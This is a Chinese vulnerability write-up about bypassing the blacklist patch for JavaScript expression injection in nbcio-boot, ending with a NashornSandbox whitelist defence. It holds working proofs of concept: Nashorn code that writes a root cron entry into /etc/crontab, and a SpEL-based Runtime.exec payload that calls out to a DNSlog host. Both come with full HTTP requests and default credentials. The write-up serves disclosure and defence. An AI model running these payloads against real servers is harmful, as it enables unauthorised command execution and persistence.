前言
本次漏洞分析聚焦于nbcio-boot系统中的JavaScript表达式注入漏洞。尽管系统进行过修复，但通过进一步审计发现漏洞仍可被绕过，攻击者可通过文件操作类间接触发命令执行。文章介绍了两种绕过思路：一是通过文件写入触发命令，二是通过调用Spring的SPEL组件执行恶意表达式。最后，建议将防御策略从黑名单切换为白名单，并结合沙箱技术加强安全性。
项目地址
访问链接：https://gitee.com/nbacheng/nbcio-boot.git
默认账号密码：admin/123456
漏洞简介
系统存在JavaScript表达式注入漏洞。此前，我曾公开披露该漏洞并且该系统进行了初步修复。但经过再次审计，发现此修复仍然存在问题，通过特定的POC仍可绕过防御措施。
漏洞分析
初始漏洞
此前，奇安信有过一篇关于此漏洞的分析文章，详细介绍了漏洞的形成和利用方式。
文章链接：https://forum.butian.net/share/3698
初始漏洞修复
修复措施对比后发现，系统针对关键类（如java.lang.Runtime）进行了黑名单过滤，这使得相关类不再出现在engine容器中，从而无法使用这些类执行系统命令。
修复代码参考：https://gitee.com/nbacheng/nbcio-boot/blob/master/nbcio-module-estar/src/main/java/com/nbcio/modules/estar/bs/service/impl/DataSetParamServiceImpl.java
如果我们仍然使用原来的POC去攻击则不会产生任何效果。
漏洞绕过思路
此处提供两个思路。
第一个思路是利用文件写入触发命令执行。
虽然系统中已经限制关于命令执行类的直接调用，但想要执行系统命令并不局限于直接调用命令执行函数这个方式。比如我们可以调用文件操作类向系统中写入特定文件从而间接造成命令执行。
POC:
dnslog域名请替换成自己的，可以去dnslog.cn在线申请。
var File=Java.type(\\"java.io.File\\");
var file=new File(\\"/etc/crontab\\");
var FileWriter=Java.type(\\"java.io.FileWriter\\");\\
var fw=new FileWriter(file);
var BufferedWriter=Java.type(\\"java.io.BufferedWriter\\");
var bw=new BufferedWriter(fw);
var str=\\"\* \* \* \* \* root ping p5.\*\*\*\*\*.top\\";
bw.write(str);bw.flush();bw.close();
POC解析：根据javascript语法调用java类，实例化File对象，目的在于向/etc/crontab文件中写入定时任务命令。
发送请求
请求包：
注意命令后\ \n是换行，不添加这个会导致命令失效。
POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: 192.168.64.131:8081
Content-Length: 627
Accept: application/json, text/plain, \*/\*
X-TIMESTAMP: 20240808213818
X-Sign: ED5C3621799AA3EAC6D2ABAB498B1DCD
tenant-id: 0
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjMxMzU3MDAsInVzZXJuYW1lIjoiYWRtaW4ifQ.t5je51OW1Q40U-8d0HudQCXQc-WXQbP7o9cmvKjsO3Y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://218.75.87.38:9888
Referer: http://218.75.87.38:9888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
{"sourceCode":"mysql","dynSentence":"select \* from bs\_report\_barstack","dataSetParamDtoList":\[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":1,"validationRules":"var File=Java.type(\\"java.io.File\\");var file=new File(\\"/etc/crontab\\");var FileWriter=Java.type(\\"java.io.FileWriter\\");var fw=new FileWriter(file);var BufferedWriter=Java.type(\\"java.io.BufferedWriter\\");var bw=new BufferedWriter(fw);var str=\\"\* \* \* \* \* root ping p1.\*\*\*\*\*.top\\\\n\\";bw.write(str);bw.flush();bw.close();"}\],"dataSetTransformDtoList":\[{"transformType":"js","transformScript":""}\],"setType":"sql"}
查看/etc/crontab文件，可以看到命令被成功写入。
访问dnslog监测平台，监听到目标服务器的dnslog解析请求，证明命令被成功执行。
第二思路是利用调用外部容器去实现命令执行。
我们考虑到系统对java类的调用限制仅局限于当前的javascript容器中，如果我们间接的调用其它可以进行命令执行的容器是不是就能实现绕过了呢？比如间接调用SPEL组件去解析表达式，因为sprinboot框架中默认包含SPEL组件，所以这个设想存在较大可行性。
基本逻辑如下：
漏洞验证
事实证明上述逻辑是可行的，继续调用/bs/bsDataSet/testTransform接口，在注入POC后仍然可以执行系统命令,弹出计算器。
POC:
var A=Java.type(\\"org.springframework.expression.spel.standard.SpelExpressionParser\\");
var B=new A;
var C=B.parseExpression(\\"T(java.lang.Runtime).getRuntime().exec('\*\*\*\*')\\");
var D=C.getValue();
本地测试
系统执行了calc命令，成功弹出计算器。
远程测试
发送包含DNSLog请求的POC
请求包：
POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: 192.168.64.131:8081
Content-Length: 513
Accept: application/json, text/plain, \*/\*
X-TIMESTAMP: 20240808213818
X-Sign: ED5C3621799AA3EAC6D2ABAB498B1DCD
tenant-id: 0
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjMxMzU3MDAsInVzZXJuYW1lIjoiYWRtaW4ifQ.t5je51OW1Q40U-8d0HudQCXQc-WXQbP7o9cmvKjsO3Y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://218.75.87.38:9888
Referer: http://218.75.87.38:9888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
{"sourceCode":"mysql","dynSentence":"select \* from bs\_report\_barstack","dataSetParamDtoList":\[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":1,"validationRules":"var A=Java.type(\\"org.springframework.expression.spel.standard.SpelExpressionParser\\");var B=new A;var C=B.parseExpression(\\"T(java.lang.Runtime).getRuntime().exec('ping p5.\*\*\*\*\*.top')\\");var D=C.getValue();"}\],"dataSetTransformDtoList":\[{"transformType":"js","transformScript":""}\],"setType":"sql"}
DNSLog平台成功监听到DNSlog解析请求，证明命令成功被执行,POC有效。
防御策略
通过上述分析可知，该系统的防御策略存在的最大问题在于使用了黑名单进行防御，因此防御面较为有限，所以我们应该考虑使用白名单进行防御。我们在综合考虑之后决定使用NashornSandbox沙箱来实现这一策略。
参考链接：
https://blog.csdn.net/gitblog_00274/article/details/142838510
在调用未在白名单中的类时系统会报错。
但是可以正常运行其它常规js语句。
结合项目实际，我们只需要向系统中添加一行代码即可实现较为完整的防御。（此处不能说完全是因为还涉及死循环、DOS攻击等漏洞，具体配置可进一步查阅资料。）
再次访问系统，命令不再执行，证明防御有效。
评论 (0)